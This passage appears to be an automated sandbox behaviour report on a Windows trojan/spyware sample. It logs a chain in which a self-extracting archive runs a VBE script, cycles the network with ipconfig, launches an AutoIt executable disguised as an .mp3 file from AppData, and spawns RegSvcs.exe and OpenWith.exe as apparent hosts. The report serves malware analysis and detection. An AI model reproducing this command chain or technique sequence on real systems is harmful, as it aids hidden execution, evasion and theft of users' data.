Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066D1C22	17_2_066D1C22
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 17_2_066C3000	17_2_066C3000

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3 98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: String function: 00390DC0 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: String function: 0038FD60 appears 31 times
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: String function: 00DAFD60 appears 31 times
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: String function: 00DB0DC0 appears 46 times
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: String function: 00B257D8 appears 66 times
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: String function: 00B26630 appears 31 times
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Code function: String function: 00B257A5 appears 34 times

Source: ngPebbPhbp.exe, 00000000.00000003.1732897348.0000000007855000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs ngPebbPhbp.exe

Source: ngPebbPhbp.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@31/48@0/1

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B0932C GetLastError,FormatMessageW,_wcslen,LocalFree,

0_2_00B0932C

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003D194F AdjustTokenPrivileges,CloseHandle,	7_2_003D194F
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Code function: 7_2_003D1F53 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	7_2_003D1F53
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DF194F AdjustTokenPrivileges,CloseHandle,	16_2_00DF194F
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Code function: 16_2_00DF1F53 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	16_2_00DF1F53

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003E5B27 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

7_2_003E5B27

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003DDC9C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

7_2_003DDC9C

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

Code function: 7_2_003F4089 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

7_2_003F4089

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Code function: 0_2_00B1EBD3 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00B1EBD3

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3

File created: C:\Users\user\AppData\Roaming\wlnk

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Windows\SysWOW64\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0

Jump to behavior

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Command line argument: sfxname	0_2_00B2454A
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Command line argument: sfxstime	0_2_00B2454A
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Command line argument: STARTDLG	0_2_00B2454A

Source: ngPebbPhbp.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ngPebbPhbp.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

File read: C:\Users\user\Desktop\ngPebbPhbp.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ngPebbPhbp.exe "C:\Users\user\Desktop\ngPebbPhbp.exe"
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c qwlvpmrupf.mp3 tnlupe.mp3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3 qwlvpmrupf.mp3 tnlupe.mp3
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\OpenWith.exe "C:\Windows\system32\openwith.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe "C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c qwlvpmrupf.mp3 tnlupe.mp3	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3 qwlvpmrupf.mp3 tnlupe.mp3	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"

Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\ngPebbPhbp.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\OpenWith.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe	Section loaded: apphelp.dll

Source: C:\Users\user\Desktop\ngPebbPhbp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ngPebbPhbp.exe

Static file information: File size 1684188 > 1048576

Source: ngPebbPhbp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ngPebbPhbp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ngPebbPhbp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ngPebbPhbp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ngPebbPhbp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ngPebbPhbp.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: ngPebbPhbp.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: ngPebbPhbp.exe

